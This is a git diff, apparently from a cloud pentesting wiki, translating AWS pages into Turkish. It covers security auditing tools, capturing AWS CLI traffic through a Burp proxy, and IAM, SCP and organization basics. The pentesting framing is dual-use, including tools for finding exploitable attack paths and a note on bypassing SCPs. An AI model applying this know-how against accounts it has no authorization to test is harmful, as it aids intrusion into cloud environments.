(ShadowAdmins için arama yapmaz). ```bash ./index.js --csv=file.csv --console=table --config ./config.js # Compiance options: --compliance {hipaa,cis,cis1,cis2,pci} ## use "cis" for cis level 1 and 2 ``` - -- [**Prowler**](https://github.com/prowler-cloud/prowler): Prowler is an Open Source security tool to perform AWS security best practices assessments, audits, incident response, continuous monitoring, hardening and forensics readiness. - +- [**Prowler**](https://github.com/prowler-cloud/prowler): Prowler, AWS güvenlik en iyi uygulamaları değerlendirmeleri, denetimleri, olay yanıtı, sürekli izleme, sertleştirme ve adli hazırlık yapmak için bir Açık Kaynak güvenlik aracıdır. ```bash # Install python3, jq and git # Install @@ -331,15 +314,11 @@ prowler -v prowler prowler aws --profile custom-profile [-M csv json json-asff html] ``` - -- [**CloudFox**](https://github.com/BishopFox/cloudfox): CloudFox helps you gain situational awareness in unfamiliar cloud environments. It’s an open source command line tool created to help penetration testers and other offensive security professionals find exploitable attack paths in cloud infrastructure. - +- [**CloudFox**](https://github.com/BishopFox/cloudfox): CloudFox, tanıdık olmayan bulut ortamlarında durum farkındalığı kazanmanıza yardımcı olur. Penetrasyon test uzmanları ve diğer saldırgan güvenlik profesyonellerinin bulut altyapısında istismar edilebilir saldırı yollarını bulmalarına yardımcı olmak için oluşturulmuş açık kaynaklı bir komut satırı aracıdır. ```bash cloudfox aws --profile [profile-name] all-checks ``` - -- [**ScoutSuite**](https://github.com/nccgroup/ScoutSuite): Scout Suite is an open source multi-cloud security-auditing tool, which enables security posture assessment of cloud environments. - +- [**ScoutSuite**](https://github.com/nccgroup/ScoutSuite): Scout Suite, bulut ortamlarının güvenlik durumu değerlendirmesine olanak tanıyan açık kaynaklı çoklu bulut güvenlik denetim aracıdır. ```bash # Install virtualenv -p python3 venv @@ -350,18 +329,16 @@ scout --help # Get info scout aws -p dev ``` +- [**cs-suite**](https://github.com/SecurityFTW/cs-suite): Bulut Güvenliği Paketi (python2.7 kullanır ve bakımsız görünüyor) +- [**Zeus**](https://github.com/DenizParlak/Zeus): Zeus, AWS EC2 / S3 / CloudTrail / CloudWatch / KMS için güçlü bir en iyi sertleştirme uygulamaları aracıdır (bakımsız görünüyor). Sadece sistem içindeki varsayılan yapılandırılmış kimlik bilgilerini kontrol eder. -- [**cs-suite**](https://github.com/SecurityFTW/cs-suite): Cloud Security Suite (uses python2.7 and looks unmaintained) -- [**Zeus**](https://github.com/DenizParlak/Zeus): Zeus is a powerful tool for AWS EC2 / S3 / CloudTrail / CloudWatch / KMS best hardening practices (looks unmaintained). It checks only default configured creds inside the system. +### Sürekli Denetim -### Constant Audit - -- [**cloud-custodian**](https://github.com/cloud-custodian/cloud-custodian): Cloud Custodian is a rules engine for managing public cloud accounts and resources. It allows users to **define policies to enable a well managed cloud infrastructure**, that's both secure and cost optimized. It consolidates many of the adhoc scripts organizations have into a lightweight and flexible tool, with unified metrics and reporting. -- [**pacbot**](https://github.com/tmobile/pacbot)**: Policy as Code Bot (PacBot)** is a platform for **continuous compliance monitoring, compliance reporting and security automation for the clou**d. In PacBot, security and compliance policies are implemented as code. All resources discovered by PacBot are evaluated against these policies to gauge policy conformance. The PacBot **auto-fix** framework provides the ability to automatically respond to policy violations by taking predefined actions. -- [**streamalert**](https://github.com/airbnb/streamalert)**:** StreamAlert is a serverless, **real-time** data analysis framework which empowers you to **ingest, analyze, and alert** on data from any environment, u**sing data sources and alerting logic you define**. Computer security teams use StreamAlert to scan terabytes of log data every day for incident detection and response. - -## DEBUG: Capture AWS cli requests +- [**cloud-custodian**](https://github.com/cloud-custodian/cloud-custodian): Cloud Custodian, kamu bulut hesaplarını ve kaynaklarını yönetmek için bir kurallar motorudur. Kullanıcılara **iyi yönetilen bir bulut altyapısını etkinleştirmek için politikalar tanımlama** imkanı sunar; bu, hem güvenli hem de maliyet açısından optimize edilmiştir. Birçok kuruluşun elden geçirilmiş betiklerini hafif ve esnek bir araca dönüştürerek, birleşik metrikler ve raporlama ile birleştirir. +- [**pacbot**](https://github.com/tmobile/pacbot)**: Kod Olarak Politika Botu (PacBot)**, bulut için **sürekli uyum izleme, uyum raporlama ve güvenlik otomasyonu** platformudur. PacBot'ta, güvenlik ve uyum politikaları kod olarak uygulanır. PacBot tarafından keşfedilen tüm kaynaklar, politika uyumunu değerlendirmek için bu politikalara karşı değerlendirilir. PacBot'un **otomatik düzeltme** çerçevesi, önceden tanımlanmış eylemleri alarak politika ihlallerine otomatik olarak yanıt verme yeteneği sağlar. +- [**streamalert**](https://github.com/airbnb/streamalert)**:** StreamAlert, herhangi bir ortamdan veri **almayı, analiz etmeyi ve uyarı vermeyi** sağlayan sunucusuz, **gerçek zamanlı** bir veri analiz çerçevesidir; **veri kaynakları ve uyarı mantığını tanımlayarak** kullanabilirsiniz. Bilgisayar güvenliği ekipleri, olay tespiti ve yanıtı için her gün terabaytlarca günlük verisini taramak için StreamAlert'ı kullanır. +## DEBUG: AWS cli isteklerini yakala ```bash # Set proxy export HTTP_PROXY=http://localhost:8080 @@ -380,14 +357,9 @@ export AWS_CA_BUNDLE=~/Downloads/certificate.pem # Run aws cli normally trusting burp cert aws ... ``` - -## References +## Referanslar - [https://www.youtube.com/watch?v=8ZXRw4Ry3mQ](https://www.youtube.com/watch?v=8ZXRw4Ry3mQ) - [https://cloudsecdocs.com/aws/defensive/tooling/audit/](https://cloudsecdocs.com/aws/defensive/tooling/audit/) {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-basic-information/README.md b/src/pentesting-cloud/aws-security/aws-basic-information/README.md index 02e6e7729..779c87956 100644 --- a/src/pentesting-cloud/aws-security/aws-basic-information/README.md +++ b/src/pentesting-cloud/aws-security/aws-basic-information/README.md @@ -1,331 +1,317 @@ -# AWS - Basic Information +# AWS - Temel Bilgiler {{#include ../../../banners/hacktricks-training.md}} -## Organization Hierarchy +## Organizasyon Hiyerarşisi ![](<../../../images/image (151).png>) -### Accounts +### Hesaplar -In AWS there is a **root account,** which is the **parent container for all the accounts** for your **organization**. However, you don't need to use that account to deploy resources, you can create **other accounts to separate different AWS** infrastructures between them. +AWS'de bir **root hesabı** vardır, bu da **organizasyonunuz için tüm hesapların ana konteyneridir**. Ancak, kaynakları dağıtmak için bu hesabı kullanmanıza gerek yoktur, **farklı AWS** altyapılarını birbirinden ayırmak için **diğer hesaplar oluşturabilirsiniz**. -This is very interesting from a **security** point of view, as **one account won't be able to access resources from other account** (except bridges are specifically created), so this way you can create boundaries between deployments. +Bu, **güvenlik** açısından çok ilginçtir, çünkü **bir hesap diğer hesaptan kaynaklara erişemeyecektir** (özel köprüler oluşturulmadığı sürece), bu şekilde dağıtımlar arasında sınırlar oluşturabilirsiniz. -Therefore, there are **two types of accounts in an organization** (we are talking about AWS accounts and not User accounts): a single account that is designated as the management account, and one or more member accounts. +Bu nedenle, bir organizasyonda **iki tür hesap vardır** (AWS hesaplarından ve kullanıcı hesaplarından bahsediyoruz): yönetim hesabı olarak belirlenen tek bir hesap ve bir veya daha fazla üye hesabı. -- The **management account (the root account)** is the account that you use to create the organization. From the organization's management account, you can do the following: +- **Yönetim hesabı (root hesabı)**, organizasyonu oluşturmak için kullandığınız hesaptır. Organizasyonun yönetim hesabından aşağıdakileri yapabilirsiniz: - - Create accounts in the organization - - Invite other existing accounts to the organization - - Remove accounts from the organization - - Manage invitations - - Apply policies to entities (roots, OUs, or accounts) within the organization - - Enable integration with supported AWS services to provide service functionality across all of the accounts in the organization. - - It's possible to login as the root user using the email and password used to create this root account/organization. +- Organizasyonda hesaplar oluşturun +- Diğer mevcut hesapları organizasyona davet edin +- Organizasyondan hesapları kaldırın +- Davetleri yönetin +- Organizasyondaki varlıklara (root'lar, OU'lar veya hesaplar) politikalar uygulayın +- Organizasyondaki tüm hesaplar arasında hizmet işlevselliği sağlamak için desteklenen AWS hizmetleriyle entegrasyonu etkinleştirin. +- Bu root hesabı/organizasyonu oluşturmak için kullanılan e-posta ve şifre ile root kullanıcı olarak giriş yapmak mümkündür. - The management account has the **responsibilities of a payer account** and is responsible for paying all charges that are accrued by the member accounts. You can't change an organization's management account. - -- **Member accounts** make up all of the rest of the accounts in an organization. An account can be a member of only one organization at a time. You can attach a policy to an account to apply controls to only that one account. - - Member accounts **must use a valid email address** and can have a **name**, in general they wont be able to manage the billing (but they might be given access to it). +Yönetim hesabı, **ödeyici hesabının sorumluluklarına** sahiptir ve üye hesaplar tarafından biriken tüm ücretleri ödemekten sorumludur. Bir organizasyonun yönetim hesabını değiştiremezsiniz. +- **Üye hesaplar**, bir organizasyondaki tüm diğer hesapları oluşturur. Bir hesap, aynı anda yalnızca bir organizasyonun üyesi olabilir. Sadece o hesaba kontroller uygulamak için bir hesaba bir politika ekleyebilirsiniz. +- Üye hesaplar **geçerli bir e-posta adresi kullanmalıdır** ve bir **isim** alabilir, genellikle faturalandırmayı yönetemezler (ancak buna erişim verilebilir). ``` aws organizations create-account --account-name testingaccount --email testingaccount@lalala1233fr.com ``` +### **Organizasyon Birimleri** -### **Organization Units** - -Accounts can be grouped in **Organization Units (OU)**. This way, you can create **policies** for the Organization Unit that are going to be **applied to all the children accounts**. Note that an OU can have other OUs as children. - +Hesaplar **Organizasyon Birimleri (OU)** içinde gruplandırılabilir. Bu şekilde, Organizasyon Birimi için **tüm alt hesaplara uygulanacak** **politikalar** oluşturabilirsiniz. Bir OU'nun altı olarak başka OU'lar da olabileceğini unutmayın. ```bash # You can get the root id from aws organizations list-roots aws organizations create-organizational-unit --parent-id r-lalala --name TestOU ``` - ### Service Control Policy (SCP) -A **service control policy (SCP)** is a policy that specifies the services and actions that users and roles can use in the accounts that the SCP affects. SCPs are **similar to IAM** permissions policies except that they **don't grant any permissions**. Instead, SCPs specify the **maximum permissions** for an organization, organizational unit (OU), or account. When you attach a SCP to your organization root or an OU, the **SCP limits permissions for entities in member accounts**. +Bir **service control policy (SCP)**, SCP'nin etki ettiği hesaplarda kullanıcıların ve rollerin kullanabileceği hizmetleri ve eylemleri belirten bir politikadır. SCP'ler, **IAM** izin politikalarına **benzer**, ancak **hiçbir izin vermezler**. Bunun yerine, SCP'ler bir organizasyon, organizasyonel birim (OU) veya hesap için **maksimum izinleri** belirtir. Bir SCP'yi organizasyon kökünüze veya bir OU'ya eklediğinizde, **SCP, üye hesaplardaki varlıkların izinlerini sınırlar**. -This is the ONLY way that **even the root user can be stopped** from doing something. For example, it could be used to stop users from disabling CloudTrail or deleting backups.\ -The only way to bypass this is to compromise also the **master account** that configures the SCPs (master account cannot be blocked). +Bu, **root kullanıcının bile bir şey yapmasını durdurmanın TEK yoludur**. Örneğin, kullanıcıların CloudTrail'i devre dışı bırakmasını veya yedekleri silmesini durdurmak için kullanılabilir.\ +Bunu aşmanın tek yolu, SCP'leri yapılandıran **master account**'u da tehlikeye atmaktır (master account engellenemez). > [!WARNING] -> Note that **SCPs only restrict the principals in the account**, so other accounts are not affected. This means having an SCP deny `s3:GetObject` will not stop people from **accessing a public S3 bucket** in your account. +> **SCP'ler yalnızca hesap içindeki ilkeleri kısıtlar**, bu nedenle diğer hesaplar etkilenmez. Bu, bir SCP'nin `s3:GetObject` iznini reddetmesinin, insanların **hesabınızdaki bir kamu S3 bucket'ına erişmesini durdurmayacağı** anlamına gelir. -SCP examples: +SCP örnekleri: -- Deny the root account entirely -- Only allow specific regions -- Only allow white-listed services -- Deny GuardDuty, CloudTrail, and S3 Public Block Access from +- Root hesabını tamamen reddet +- Sadece belirli bölgeleri izin ver +- Sadece beyaz listeye alınmış hizmetlere izin ver +- GuardDuty, CloudTrail ve S3 Public Block Access'in devre dışı bırakılmasını reddet - being disabled +- Güvenlik/olay yanıtı rollerinin silinmesini veya -- Deny security/incident response roles from being deleted or +değiştirilmesini reddet. - modified. +- Yedeklerin silinmesini reddet. +- IAM kullanıcıları ve erişim anahtarları oluşturmayı reddet. -- Deny backups from being deleted. -- Deny creating IAM users and access keys - -Find **JSON examples** in [https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps_examples.html](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps_examples.html) +**JSON örneklerini** [https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps_examples.html](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps_examples.html) adresinde bulabilirsiniz. ### ARN -**Amazon Resource Name** is the **unique name** every resource inside AWS has, its composed like this: - +**Amazon Resource Name**, AWS içindeki her kaynağın **benzersiz adıdır**, bu şekilde oluşturulmuştur: ``` arn:partition:service:region:account-id:resource-type/resource-id arn:aws:elasticbeanstalk:us-west-1:123456789098:environment/App/Env ``` - -Note that there are 4 partitions in AWS but only 3 ways to call them: +Not edin ki AWS'te 4 bölüm vardır ama bunları çağırmanın sadece 3 yolu vardır: - AWS Standard: `aws` - AWS China: `aws-cn` - AWS US public Internet (GovCloud): `aws-us-gov` - AWS Secret (US Classified): `aws` -## IAM - Identity and Access Management +## IAM - Kimlik ve Erişim Yönetimi -IAM is the service that will allow you to manage **Authentication**, **Authorization** and **Access Control** inside your AWS account. +IAM, AWS hesabınız içinde **Kimlik Doğrulama**, **Yetkilendirme** ve **Erişim Kontrolü** yönetmenizi sağlayan hizmettir. -- **Authentication** - Process of defining an identity and the verification of that identity. This process can be subdivided in: Identification and verification. -- **Authorization** - Determines what an identity can access within a system once it's been authenticated to it. -- **Access Control** - The method and process of how access is granted to a secure resource +- **Kimlik Doğrulama** - Bir kimliğin tanımlanması ve o kimliğin doğrulanması süreci. Bu süreç, Tanımlama ve doğrulama olarak alt bölümlere ayrılabilir. +- **Yetkilendirme** - Bir kimliğin, sisteme kimlik doğrulaması yapıldıktan sonra neye erişebileceğini belirler. +- **Erişim Kontrolü** - Güvenli bir kaynağa erişimin nasıl verileceği ile ilgili yöntem ve süreçtir. -IAM can be defined by its ability to manage, control and govern authentication, authorization and access control mechanisms of identities to your resources within your AWS account. +IAM, AWS hesabınızdaki kaynaklarınıza kimliklerin kimlik doğrulama, yetkilendirme ve erişim kontrol mekanizmalarını yönetme, kontrol etme ve yönetme yeteneği ile tanımlanabilir. -### [AWS account root user](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_root-user.html) +### [AWS hesap kök kullanıcısı](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_root-user.html) -When you first create an Amazon Web Services (AWS) account, you begin with a single sign-in identity that has **complete access to all** AWS services and resources in the account. This is the AWS account _**root user**_ and is accessed by signing in with the **email address and password that you used to create the account**. +Amazon Web Services (AWS) hesabı oluşturduğunuzda, hesabınızdaki tüm AWS hizmetlerine ve kaynaklarına **tam erişime sahip** tek bir oturum açma kimliği ile başlarsınız. Bu, AWS hesabının _**kök kullanıcısı**_dır ve **hesabı oluşturmak için kullandığınız e-posta adresi ve şifre ile oturum açarak** erişilir. -Note that a new **admin user** will have **less permissions that the root user**. +Yeni bir **admin kullanıcısının**, kök kullanıcıdan **daha az izin** alacağını unutmayın. -From a security point of view, it's recommended to create other users and avoid using this one. +Güvenlik açısından, diğer kullanıcıları oluşturmanız ve bu kullanıcıyı kullanmaktan kaçınmanız önerilir. -### [IAM users](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_users.html) +### [IAM kullanıcıları](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_users.html) -An IAM _user_ is an entity that you create in AWS to **represent the person or application** that uses it to **interact with AWS**. A user in AWS consists of a name and credentials (password and up to two access keys). +IAM _kullanıcısı_, AWS'de **AWS ile etkileşimde bulunan kişi veya uygulamayı temsil etmek** için oluşturduğunuz bir varlıktır. AWS'deki bir kullanıcı, bir isim ve kimlik bilgileri (şifre ve en fazla iki erişim anahtarı) içerir. -When you create an IAM user, you grant it **permissions** by making it a **member of a user group** that has appropriate permission policies attached (recommended), or by **directly attaching policies** to the user. +Bir IAM kullanıcısı oluşturduğunuzda, ona uygun izin politikaları eklenmiş bir **kullanıcı grubunun üyesi** yaparak (önerilir) veya **doğrudan politikalar ekleyerek** **izinler** verirsiniz. -Users can have **MFA enabled to login** through the console. API tokens of MFA enabled users aren't protected by MFA. If you want to **restrict the access of a users API keys using MFA** you need to indicate in the policy that in order to perform certain actions MFA needs to be present (example [**here**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html)). +Kullanıcılar, konsola giriş yapmak için **MFA etkinleştirilebilir**. MFA etkinleştirilmiş kullanıcıların API token'ları MFA ile korunmaz. Eğer **MFA kullanarak bir kullanıcının API anahtarlarının erişimini kısıtlamak** istiyorsanız, belirli eylemleri gerçekleştirmek için MFA'nın mevcut olması gerektiğini politikada belirtmeniz gerekir (örnek [**burada**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html)). #### CLI -- **Access Key ID**: 20 random uppercase alphanumeric characters like AKHDNAPO86BSHKDIRYT -- **Secret access key ID**: 40 random upper and lowercase characters: S836fh/J73yHSb64Ag3Rkdi/jaD6sPl6/antFtU (It's not possible to retrieve lost secret access key IDs). +- **Erişim Anahtarı ID**: 20 rastgele büyük harfli alfanümerik karakter, örneğin AKHDNAPO86BSHKDIRYT +- **Gizli erişim anahtarı ID**: 40 rastgele büyük ve küçük harf karakteri: S836fh/J73yHSb64Ag3Rkdi/jaD6sPl6/antFtU (Kayıp gizli erişim anahtarı ID'leri geri alınamaz). -Whenever you need to **change the Access Key** this is the process you should follow:\ -&#xNAN;_Create a new access key -> Apply the new key to system/application -> mark original one as inactive -> Test and verify new access key is working -> Delete old access key_ +Herhangi bir zamanda **Erişim Anahtarını değiştirmek** istediğinizde izlemeniz gereken süreç:\ +&#xNAN;_C yeni bir erişim anahtarı oluştur -> Yeni anahtarı sistem/uygulamaya uygula -> orijinalini pasif olarak işaretle -> Yeni erişim anahtarının çalıştığını test et ve doğrula -> eski erişim anahtarını sil_ -### MFA - Multi Factor Authentication +### MFA - Çok Faktörlü Kimlik Doğrulama -It's used to **create an additional factor for authentication** in addition to your existing methods, such as password, therefore, creating a multi-factor level of authentication.\ -You can use a **free virtual application or a physical device**. You can use apps like google authentication for free to activate a MFA in AWS. +Bu, mevcut yöntemlerinize ek olarak **kimlik doğrulama için ek bir faktör oluşturmak** için kullanılır, örneğin şifre, böylece çok faktörlü bir kimlik doğrulama seviyesi oluşturur.\ +Ücretsiz bir **sanal uygulama veya fiziksel cihaz** kullanabilirsiniz. AWS'de MFA etkinleştirmek için ücretsiz olarak google authentication gibi uygulamaları kullanabilirsiniz. -Policies with MFA conditions can be attached to the following: +MFA koşulları olan politikalar aşağıdakilere eklenebilir: -- An IAM user or group -- A resource such as an Amazon S3 bucket, Amazon SQS queue, or Amazon SNS topic -- The trust policy of an IAM role that can be assumed by a user - -If you want to **access via CLI** a resource that **checks for MFA** you need to call **`GetSessionToken`**. That will give you a token with info about MFA.\ -Note that **`AssumeRole` credentials don't contain this information**. +- Bir IAM kullanıcısı veya grubu +- Amazon S3 bucket, Amazon SQS kuyruğu veya Amazon SNS konusu gibi bir kaynak +- Bir kullanıcının üstlenebileceği bir IAM rolünün güven politikası +Eğer **CLI üzerinden** MFA kontrolü yapan bir kaynağa **erişmek** istiyorsanız, **`GetSessionToken`** çağrısı yapmalısınız. Bu, MFA hakkında bilgi içeren bir token verecektir.\ +Unutmayın ki **`AssumeRole` kimlik bilgileri bu bilgiyi içermez**. ```bash aws sts get-session-token --serial-number --token-code ``` +As [**burada belirtilmiştir**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html), **MFA'nın kullanılamayacağı** birçok farklı durum vardır. -As [**stated here**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html), there are a lot of different cases where **MFA cannot be used**. +### [IAM kullanıcı grupları](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html) -### [IAM user groups](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html) +Bir IAM [kullanıcı grubu](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html), **birden fazla kullanıcıya** aynı anda **politika eklemenin** bir yoludur, bu da o kullanıcıların izinlerini yönetmeyi kolaylaştırabilir. **Roller ve gruplar bir grubun parçası olamaz**. -An IAM [user group](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html) is a way to **attach policies to multiple users** at one time, which can make it easier to manage the permissions for those users. **Roles and groups cannot be part of a group**. +Bir **kimlik tabanlı politikayı bir kullanıcı grubuna** ekleyebilirsiniz, böylece kullanıcı grubundaki tüm **kullanıcılar** **politikanın izinlerini alır**. Bir **kullanıcı grubunu** bir **`Principal`** olarak bir **politikada** (kaynak tabanlı bir politika gibi) tanımlayamazsınız çünkü gruplar izinlerle, kimlik doğrulama ile değil, ilişkilidir ve prensipler kimlik doğrulaması yapılmış IAM varlıklarıdır. -You can attach an **identity-based policy to a user group** so that all of the **users** in the user group **receive the policy's permissions**. You **cannot** identify a **user group** as a **`Principal`** in a **policy** (such as a resource-based policy) because groups relate to permissions, not authentication, and principals are authenticated IAM entities. +Kullanıcı gruplarının bazı önemli özellikleri şunlardır: -Here are some important characteristics of user groups: +- Bir kullanıcı **grubu** **birçok kullanıcı** içerebilir ve bir **kullanıcı** **birden fazla gruba** ait olabilir. +- **Kullanıcı grupları iç içe olamaz**; yalnızca kullanıcıları içerebilir, diğer kullanıcı gruplarını değil. +- AWS hesabındaki tüm kullanıcıları otomatik olarak içeren **varsayılan bir kullanıcı grubu yoktur**. Böyle bir kullanıcı grubuna sahip olmak istiyorsanız, onu oluşturmalı ve her yeni kullanıcıyı ona atamalısınız. +- AWS hesabındaki IAM kaynaklarının sayısı ve boyutu, grupların sayısı ve bir kullanıcının üyesi olabileceği grup sayısı gibi sınırlıdır. Daha fazla bilgi için [IAM ve AWS STS kotalarına](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_iam-quotas.html) bakın. -- A user **group** can **contain many users**, and a **user** can **belong to multiple groups**. -- **User groups can't be nested**; they can contain only users, not other user groups. -- There is **no default user group that automatically includes all users in the AWS account**. If you want to have a user group like that, you must create it and assign each new user to it. -- The number and size of IAM resources in an AWS account, such as the number of groups, and the number of groups that a user can be a member of, are limited. For more information, see [IAM and AWS STS quotas](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_iam-quotas.html). +### [IAM rolleri](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles.html) -### [IAM roles](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles.html) +Bir IAM **rolü**, bir **kullanıcıya** çok **benzer** olup, AWS'de ne yapabileceğini ve ne yapamayacağını belirleyen **izin politikaları olan bir kimliktir**. Ancak, bir rolün **ilişkili olduğu herhangi bir kimlik bilgisi** (şifre veya erişim anahtarları) yoktur. Bir kişiye özgü olarak ilişkilendirilmek yerine, bir rol **ihtiyacı olan herkes tarafından üstlenilebilir (ve yeterli izinlere sahip olmalıdır)**. Bir **IAM kullanıcısı, belirli bir görev için geçici olarak** farklı izinler almak üzere bir rolü üstlenebilir. Bir rol, IAM yerine harici bir kimlik sağlayıcısı kullanarak oturum açan bir [**federasyon kullanıcısına**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers.html) **atanabilir**. -An IAM **role** is very **similar** to a **user**, in that it is an **identity with permission policies that determine what** it can and cannot do in AWS. However, a role **does not have any credentials** (password or access keys) associated with it. Instead of being uniquely associated with one person, a role is intended to be **assumable by anyone who needs it (and have enough perms)**. An **IAM user can assume a role to temporarily** take on different permissions for a specific task. A role can be **assigned to a** [**federated user**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers.html) who signs in by using an external identity provider instead of IAM. +Bir IAM rolü, **iki tür politikadan** oluşur: **boş olamaz** olan bir **güven politikası**, rolü **kimin üstlenebileceğini** tanımlar ve **boş olamaz** olan bir **izin politikası**, **neye erişebileceğini** tanımlar. -An IAM role consists of **two types of policies**: A **trust policy**, which cannot be empty, defining **who can assume** the role, and a **permissions policy**, which cannot be empty, defining **what it can access**. +#### AWS Güvenlik Token Servisi (STS) -#### AWS Security Token Service (STS) +AWS Güvenlik Token Servisi (STS), **geçici, sınırlı ayrıcalıklı kimlik bilgileri** vermeyi kolaylaştıran bir web hizmetidir. Özellikle aşağıdakiler için tasarlanmıştır: -AWS Security Token Service (STS) is a web service that facilitates the **issuance of temporary, limited-privilege credentials**. It is specifically tailored for: +### [IAM'de Geçici Kimlik Bilgileri](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp.html) -### [Temporary credentials in IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp.html) +**Geçici kimlik bilgileri esas olarak IAM rolleri ile kullanılır**, ancak başka kullanımları da vardır. Standart IAM kullanıcınızdan daha kısıtlı bir izin setine sahip geçici kimlik bilgileri talep edebilirsiniz. Bu, daha kısıtlı kimlik bilgileri tarafından **izin verilmeyen görevleri kazara yerine getirmenizi engeller**. Geçici kimlik bilgilerinin bir avantajı, belirli bir süre sonra otomatik olarak süresinin dolmasıdır. Kimlik bilgilerinin geçerli olduğu süre üzerinde kontrol sahibisiniz. -**Temporary credentials are primarily used with IAM roles**, but there are also other uses. You can request temporary credentials that have a more restricted set of permissions than your standard IAM user. This **prevents** you from **accidentally performing tasks that are not permitted** by the more restricted credentials. A benefit of temporary credentials is that they expire automatically after a set period of time. You have control over the duration that the credentials are valid. +### Politikalar -### Policies +#### Politika İzinleri -#### Policy Permissions +İzinleri atamak için kullanılır. 2 tür vardır: -Are used to assign permissions. There are 2 types: - -- AWS managed policies (preconfigured by AWS) -- Customer Managed Policies: Configured by you. You can create policies based on AWS managed policies (modifying one of them and creating your own), using the policy generator (a GUI view that helps you granting and denying permissions) or writing your own.. - -By **default access** is **denied**, access will be granted if an explicit role has been specified.\ -If **single "Deny" exist, it will override the "Allow"**, except for requests that use the AWS account's root security credentials (which are allowed by default). +- AWS yönetilen politikalar (AWS tarafından önceden yapılandırılmış) +- Müşteri Yönetilen Politikalar: Siz tarafından yapılandırılmıştır. AWS yönetilen politikalarına (onlardan birini değiştirerek ve kendi politikanızı oluşturarak), politika oluşturucu (izinleri vermenize ve reddetmenize yardımcı olan bir GUI görünümü) kullanarak veya kendi politikanızı yazarak dayalı politikalar oluşturabilirsiniz. +**Varsayılan erişim** **reddedilir**, açık bir rol belirtilirse erişim verilecektir.\ +Eğer **tek bir "Reddet" varsa, "İzin Ver"i geçersiz kılacaktır**, AWS hesabının kök güvenlik kimlik bilgilerini kullanan talepler hariç (varsayılan olarak izin verilir). ```javascript { - "Version": "2012-10-17", //Version of the policy - "Statement": [ //Main element, there can be more than 1 entry in this array - { - "Sid": "Stmt32894y234276923" //Unique identifier (optional) - "Effect": "Allow", //Allow or deny - "Action": [ //Actions that will be allowed or denied - "ec2:AttachVolume", - "ec2:DetachVolume" - ], - "Resource": [ //Resource the action and effect will be applied to - "arn:aws:ec2:*:*:volume/*", - "arn:aws:ec2:*:*:instance/*" - ], - "Condition": { //Optional element that allow to control when the permission will be effective - "ArnEquals": {"ec2:SourceInstanceARN": "arn:aws:ec2:*:*:instance/instance-id"} - } - } - ] +"Version": "2012-10-17", //Version of the policy +"Statement": [ //Main element, there can be more than 1 entry in this array +{ +"Sid": "Stmt32894y234276923" //Unique identifier (optional) +"Effect": "Allow", //Allow or deny +"Action": [ //Actions that will be allowed or denied +"ec2:AttachVolume", +"ec2:DetachVolume" +], +"Resource": [ //Resource the action and effect will be applied to +"arn:aws:ec2:*:*:volume/*", +"arn:aws:ec2:*:*:instance/*" +], +"Condition": { //Optional element that allow to control when the permission will be effective +"ArnEquals": {"ec2:SourceInstanceARN": "arn:aws:ec2:*:*:instance/instance-id"} +} +} +] } ``` +The [herhangi bir hizmette koşullar için kullanılabilecek global alanlar burada belgelenmiştir](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_condition-keys.html#condition-keys-resourceaccount).\ +[Her hizmet için koşullar için kullanılabilecek özel alanlar burada belgelenmiştir](https://docs.aws.amazon.com/service-authorization/latest/reference/reference_policies_actions-resources-contextkeys.html). -The [global fields that can be used for conditions in any service are documented here](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_condition-keys.html#condition-keys-resourceaccount).\ -The [specific fields that can be used for conditions per service are documented here](https://docs.aws.amazon.com/service-authorization/latest/reference/reference_policies_actions-resources-contextkeys.html). +#### Inline Politika -#### Inline Policies +Bu tür politikalar **doğrudan** bir kullanıcıya, gruba veya role atanır. Bu nedenle, başka birinin kullanabileceği Politika listesinde görünmezler.\ +Inline politikalar, bir politikanın uygulandığı kimlik ile **katı bir birebir ilişkiyi sürdürmek** istiyorsanız faydalıdır. Örneğin, bir politikanın izinlerinin, amaçlandığı kimlik dışında başka bir kimliğe yanlışlıkla atanmadığından emin olmak istersiniz. Inline politika kullandığınızda, politikanın izinleri yanlış bir kimliğe yanlışlıkla eklenemez. Ayrıca, AWS Yönetim Konsolu'nu kullanarak o kimliği sildiğinizde, kimlikte yer alan politikalar da silinir. Bunun nedeni, bunların ana varlığın bir parçası olmasıdır. -This kind of policies are **directly assigned** to a user, group or role. Then, they do not appear in the Policies list as any other one can use them.\ -Inline policies are useful if you want to **maintain a strict one-to-one relationship between a policy and the identity** that it's applied to. For example, you want to be sure that the permissions in a policy are not inadvertently assigned to an identity other than the one they're intended for. When you use an inline policy, the permissions in the policy cannot be inadvertently attached to the wrong identity. In addition, when you use the AWS Management Console to delete that identity, the policies embedded in the identity are deleted as well. That's because they are part of the principal entity. +#### Kaynak Kova Politikaları -#### Resource Bucket Policies +Bunlar, **kaynaklarda** tanımlanabilen **politikalar**dır. **AWS'nin tüm kaynakları bunları desteklemez**. -These are **policies** that can be defined in **resources**. **Not all resources of AWS supports them**. +Eğer bir 